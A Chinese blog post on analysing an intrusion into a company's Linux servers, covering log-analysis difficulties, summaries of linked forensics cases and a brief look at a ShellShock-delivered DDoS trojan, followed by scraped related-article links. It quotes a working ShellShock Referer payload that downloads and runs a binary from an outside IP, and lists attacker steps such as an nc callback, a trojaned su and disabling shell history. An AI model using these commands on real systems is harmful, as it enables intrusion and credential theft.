以下内容的出现可以追溯到一个发生在互联网的安全事件:

  Z公司遭受某种攻击,服务器上被植入了Linux DDOS木马,部分系统命令入ls遭替换,攻击者已经获得该服务器root权限;

  影响更恶劣的是,连接生产系统的某台数据库服务器遭到攻击,部分数据被删除,好在通过备份数据及时得到恢复,不过现场已被破坏。

  先撇开木马不谈,数据库被攻击首先让人联想到的是SQL注入,由于现场被破坏,数据库本身也没有开审计,加上其他种种原因,已无法觅得具体攻击时间和操作。

  一段悲伤的故事就这么开始了,就像行走在黑暗中遭到攻击,却不知道攻击来自哪里,处境被动。

  前端服务器采用Nginx+Tomcat分层架构,按说要溯源攻击只能从Web服务器的日志着手了。

  情况简单介绍:

  1. 前端请求都由Nginx处理,Tomcat日志对于攻击事件的分析并没有什么作用(但还是在上面花了不少时间)。

  2. Nginx记录了GET、POST甚至HEAD请求,但未记录POST数据,因此如果攻击数据来自POST,日志无法提供帮助。

  3. 从Nginx的日志能发现SQL注入、XSS攻击的请求,User-Agent为googlebot、SQLmap,明显的扫描操作;返回状态码包括301,403,404,乍看之下联合查询、子查询甚至精确到了表名、列数,但这些请求每天都有,而且针对数据库是Mysql。

  4. 从这些日志中无法发现有用信息,在这次的入侵分析中还存在其他问题:

    a. 现场被破坏

    b. 攻击时间范围无法确定

    c. 运维不知道哪些服务器连接哪些数据库,没法帮助缩小分析范围或提供其他有价值信息

    d. 临时连到服务器上,只能通过grep、awk等工具进行关键字匹配搜索,多台服务器(每台每天的日志信息大小10G数量级)手工分析效率低下

    e. 知易行难,缺乏经验导致未能尽快取得有效进展;A公司缺乏负责处理安全事件的专员,在沟通协商方面造成了影响

    f. 对其网站花了点时间进行安全测试,并未发现明显安全问题(包括注入点),同样花费了时间却未取得进展。

  这种毫无进展的情况是让人很受挫的,后来考虑从木马入手,稍微有所发现,这个等会再谈。

  脑补了一下入侵分析和入侵取证方面的知识,发现相关资料并不多,如下两段内容具有相当的借鉴和参考意义:

  (1). 反入侵案例

  链接: https://www.91ri.org/155.html
 
  说明:
 
1. IDS警报,Apache受到攻击,来源IP仅开放22、80端口,推测是作为跳板的Web服务器
2. www.myipneighbors.com查该IP对应的域名,google搜索inurl:domain.com,逐个页面检查
3. IP对应域名太多,攻击手段表明再寻找RFI,如果是跳板服务器则很可能也是通过RFI得手
4. 将搜集到的URL放入文本中,通过程序来检测这些链接
5. 找到存在RFI且能执行php代码和系统命令的
6. 利用RFI上传shell或nc回连
7. 利用shell获取到普通用户的用户名/密码
8. 无提权0day/nday,观察history得知管理员常通过该账户su到root
9. 替换su获取root密码,在获取到密码后链接到真实的su,同时清除痕迹
10. HISTFILE=/dev/null避免命令被记录;access_log auth.log
11. 服务器群  /root/.ssh 记录公钥、私钥文件  scp复制文件
 
  (2). 入侵取证案例
 
  链接:http://blog.chinaunix.net/uid-26893610-id-4150880.html
 
  说明:
 
1. 检查步骤
     a.服务器操作系统版本信息——>操作系统补丁安装情况——>操作系统安装时间/中间有没有经过进行重新安装——>服务器维护情况—— >服务器上面安装的软件版本信息
     b.日志检查——IDS日志信息/IIS日志信息/系统日志信息
     c.网站代码审查——是否存在一句话木马,源代码上是否存在恶意代码插入
     d.杀毒软件版本更新情况——是否是最新版本,配置的是否合理,配套的监视是否全部打开
     e.数据恢复——>利用专用数据恢复软件进行数据恢复,恢复一些被删除的日志信息和系统信息,曾经安装过的文件操作信息。
     f.提取可疑文件(病毒、木马、后门、恶意广告插件)——在系统文件目录利用第三方或者自开发软件,对可疑文件进行提取并进行深度分析
 
2. 对原始数据恢复:Datarecover恢复被删除文件,希望找到木马、病毒
3. 手工分析可疑软件:sethc..exe, 真实大小应为27kb
4. 防火墙查看网络连接,查看日志
5. GET会被记录,系统级后面可以用冰刃(IceSword)、SREng(System Repair Engineer)分析可疑文件
6. 通过日志查找Webshell;是否有克隆账户(注册表sam文件是否有相同fv);系统安装日志;IIS访问日志;首页源代码
    其他包括日志分析、取证的文章这里不再提及,感兴趣的可以自行搜索。
  这里再提几个主意事项:
  (1)系统被入侵后,系统命令不再可靠 ,find, alias, ls, ps ,lsof, ll, netstat等可能已被替换(Z公司遇到的木马替换了ls,lsof,ps)
  (2) 可取证的日志包含如下特征:可靠性、可用性、保密性、完整性、不可抵赖性、可控性 ,若做不到,就无法作为数字证明;日志需要实时备份,各个环节存日志

  其余不完善之处,以后遇到会更新并补充

 

  接下来是关于木马的内容,由于这个木马并不是高深的rootkit,所以不需利用chrootkit或者其他高明手段就可以检测到其备份,找到系统中的其他样本。

  攻击者走的是简单粗暴路线,事情的确简化不少。

  关于rootkit的分析,可以看一下 Linux下基于内存分析的Rootkit检测方法 ,另外在使用chrootkit等工具时也不要对其产生过多依赖,原因可以参考:

  聊一聊chkrookit的误信和误用

  运行这个木马,使用Wireshark抓包,很快就看到了明显的"蛛丝马迹",一些细节这里不再赘述

  http://zone.wooyun.org/content/21251有简单说明,也由此引出kibana这个日志分析工具

  http://www.cnblogs.com/buzzlight/p/logstash_elasticsearch_kibana_log.html一文对其的介绍不错

  由于之前无数次与恶意软件擦身而过——是的,它很有意思,但跟我有什么关系呢,加上此次的恶意软件样本已经有现成的分析        (http://cybertracker.malwarehunterteam.com/malicious/296 ),因此关于该木马也不再多做说明,只简要描述下从中得到的信息:

来自中国大陆的DDOS木马,编译于2014年11月,约ShellShock曝光两月后(利用的正是这一漏洞,远程执行任意代码)。有若干变种,2015年1月已有相关样本被捕获,作为C&C分发端,通过wget从服务器的911端口下载恶意文件并执行,例如:

Referer: () { :; }; /bin/bash -c "rm -rf /tmp/*;echo wget http://61.160.212.172:911/java -O /tmp/China.Z-jgte >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-jgte >> /tmp/Run.sh;echo /tmp/China.Z-jgte >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh" 

  到这里其实都算不上有多少技术含量(当然能否做好入侵分析和取证跟经验有较大关系),不过为此事的后续处理提供了一种新的可能和思路:

  数据库被攻击,SQL注入当然只是一只一种可行的方式,其他情况如运维的误操作、前端服务器由于某种原因被控制等都是可能的。

  由于几个主要网站无明显安全问题,自然就得从其他角度或方向进行挖掘,虽然这事情目前还没有厘清,是否通过ShellShock控制的服务器也还未确认,起码让我们认识到了预期之外的可能和攻击面,而这也许就是关键突破口。

  待续。。。。

  ========================

  关于Malware,推荐几个网站:

  http://blog.malwaremustdie.org

  http://malware-traffic-analysis.net

  http://cybertracker.malwarehunterteam.com

  ========================

When it comes to intrusion analysis and forensics的更多相关文章

  1. Intrusion Analysis Learning

    目录 . 入侵分析简介 . 基于日志的入侵分析技术 . 入侵分析CASE . 入侵分析CASE . 入侵分析CASE . 入侵分析CASE 1. 入侵分析简介 Windows 清除日志的方法 wmic ...

  2. (转) [it-ebooks]电子书列表

    [it-ebooks]电子书列表   [2014]: Learning Objective-C by Developing iPhone Games || Leverage Xcode and Obj ...

  3. (转)Awesome Courses

    Awesome Courses  Introduction There is a lot of hidden treasure lying within university pages scatte ...

  4. Real Time Credit Card Fraud Detection with Apache Spark and Event Streaming

    https://mapr.com/blog/real-time-credit-card-fraud-detection-apache-spark-and-event-streaming/ Editor ...

  5. Automated Memory Analysis

    catalogue . 静态分析.动态分析.内存镜像分析对比 . Memory Analysis Approach . volatility: An advanced memory forensics ...

  6. malware analysis、Sandbox Principles、Design && Implementation

    catalog . 引言 . sandbox introduction . Sandboxie . seccomp(short for secure computing mode): API级沙箱 . ...

  7. [计算机取证技术] VDI-in-a-Box Analysis Results

    原文跳转: http://dig4n6.blogspot.tw/2013/07/vdi-in-box-analysis-results.html *文中引用图片如无法浏览,请科学上网* VDI-in- ...

  8. Analysis of requirement specification of parking management system

    Analysis of requirement specification of parking management system PURPOSE OF THE SYSTEM The parking ...

  9. Why many EEG researchers choose only midline electrodes for data analysis EEG分析为何多用中轴线电极

    Source: Research gate Stafford Michahial EEG is a very low frequency.. and literature will give us t ...

随机推荐

  1. [学习笔记]JavaScript之函数式编程

    欢迎指导与讨论:) 前言 函数式编程能使我们的代码结构变得简洁,让代码更接近于自然语言,易于理解. 一.减少不必要的函数嵌套代码 (1)当存在函数嵌套时,若内层函数的参数与外层函数的参数一致时,可以这 ...

  2. C#(或者说.NET/Mono)能做的那些事

    不做语言之争,只陈述事实: 1.桌面软件与服务 不仅是在Windows上,有了开源的Mono,在Apple Mac和Linux(如:Ubuntu)上也有C#的施展天地.并且还可以通过mkbundle工 ...

  3. Linux CentOS7通过yum命令安装Mono(尝先安装模式)

    前言 经过尝试网上各种安装mono的技术贴,这个安装过程经历了大约2周,尝试了各个版本,几目前博客所描述的所有安装方式.以下内容的安装方式可以为你尝试不同版本的mono.并非正式环境安装标准方式安装. ...

  4. hadoop 笔记(zookeeper)

    1.安装 需要提前安装java环境,本文下载zookeeper-3.3.6.tar.gz包. 1.1 tar -zxvf zookeeper-3.3.6.tar.gz 1.2 修改conf中的zoo_ ...

  5. Fedora 22中的日期和时间配置

    Introduction Modern operating systems distinguish between the following two types of clocks: A real- ...

  6. 大型网站的灵魂——性能

    前言     在前一篇随笔<大型网站系统架构的演化>中,介绍了大型网站的演化过程,期间穿插了一些技术和手段,我们可以从中看出一个大型网站的轮廓,但想要掌握设计开发维护大型网站的技术,需要我 ...

  7. ASP.NET MVC 视图(四)

    ASP.NET MVC 视图(四) 前言 上篇对于利用IoC框架对视图的实现进行依赖注入,最后还简单的介绍一下自定义的视图辅助器是怎么定义和使用的,对于Razor语法的细节和辅助器的使用下篇会说讲到, ...

  8. ASP.net 使用ConfigurationManager获取连接字符串

    在解决方案资源管理器里右键单击解决方案选择“添加引用”,并且从 .net 中找到 System.Configuration 引用它 在项目的web.config文件中添加 <connection ...

  9. HTML&CSS日常知识点总结

    HTML 标签 meta 标签永远位于文档的头部,即head元素内部 可提供有关页面的元信息,如针对搜索引擎和更新频度的描述和关键词 charset 这个属性规定在外部脚本文件中使用的字符编码 如果外 ...

  10. 基于Caffe的Large Margin Softmax Loss的实现(中)

    小喵的唠叨话:前一篇博客,我们做完了L-Softmax的准备工作.而这一章,我们开始进行前馈的研究. 小喵博客: http://miaoerduo.com 博客原文:  http://www.miao ...